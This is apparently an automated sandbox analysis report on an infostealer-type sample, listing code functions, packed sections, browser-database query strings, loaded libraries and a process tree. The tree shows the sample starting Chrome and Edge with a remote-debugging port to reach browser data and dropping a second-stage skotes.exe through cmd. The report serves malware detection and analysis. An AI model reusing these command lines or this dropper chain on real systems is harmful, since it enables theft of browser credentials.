Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF2D8E0	0_2_6CF2D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF538E0	0_2_6CF538E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFBF8C0	0_2_6CFBF8C0
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Code function: 20_2_003D5C83	20_2_003D5C83
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Code function: 20_2_003D735A	20_2_003D735A
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Code function: 20_2_00418860	20_2_00418860
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Code function: 20_2_003D4DE0	20_2_003D4DE0
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Code function: 20_2_003D4B30	20_2_003D4B30
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Code function: 20_2_004E7B6E	20_2_004E7B6E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_009878BB	21_2_009878BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00987049	21_2_00987049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00988860	21_2_00988860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_009831A8	21_2_009831A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00944B30	21_2_00944B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00944DE0	21_2_00944DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00982D10	21_2_00982D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0098779B	21_2_0098779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00977F36	21_2_00977F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_009878BB	22_2_009878BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00987049	22_2_00987049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00988860	22_2_00988860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_009831A8	22_2_009831A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00944B30	22_2_00944B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00944DE0	22_2_00944DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00982D10	22_2_00982D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0098779B	22_2_0098779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00977F36	22_2_00977F36

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Code function: String function: 003E80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0095DF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009580C0 appears 260 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6D0A09D0 appears 268 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6D0AD930 appears 49 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6D059F30 appears 31 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF43620 appears 74 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6D0ADAE0 appears 60 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF49B10 appears 76 times

Source: 8ab1d3acb4.exe.27.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.0.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.1828582234.0000000070152000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1823825549.000000002362C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: vdbxbskp ZLIB complexity 0.9949144936637673
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9992134172354948
Source: random[1].exe.0.dr	Static PE information: Section: jwsfpihg ZLIB complexity 0.9950999956851916
Source: 8ab1d3acb4.exe.27.dr	Static PE information: Section: ZLIB complexity 0.9992134172354948
Source: 8ab1d3acb4.exe.27.dr	Static PE information: Section: jwsfpihg ZLIB complexity 0.9950999956851916

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@72/295@26/26

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF80300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CF80300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\898EHACU.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8644:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\ec1673b9-e120-49ca-be87-f68ee009fd95.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1821083340.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1827798130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1821083340.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1827798130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1821083340.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1827798130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1806286590.000000000108E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT fieldname, value FROM moz_formhistory;
Source: file.exe, 00000000.00000002.1821083340.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1827798130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.1821083340.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1827798130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1821083340.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1827798130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1821083340.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1827798130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1566536163.000000001D4F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651611049.000000001D4E9000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBGHJKFIDHJJJEB.0.dr, AAAAKJKJEBGHJKFHIDGC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1821083340.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1827798130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1821083340.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1827798130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2136,i,14109516070417243436,11668892957691290116,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2224,i,3718411789994067923,11044565851932763251,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5380 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=5388 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCAAFBFB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHDGCAAFBFB.exe "C:\Users\user\DocumentsHDGCAAFBFB.exe"
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7280 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCAAFBFB.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2136,i,14109516070417243436,11668892957691290116,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2224,i,3718411789994067923,11044565851932763251,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5380 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=5388 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7280 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHDGCAAFBFB.exe "C:\Users\user\DocumentsHDGCAAFBFB.exe"
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Section loaded: sspicli.dll
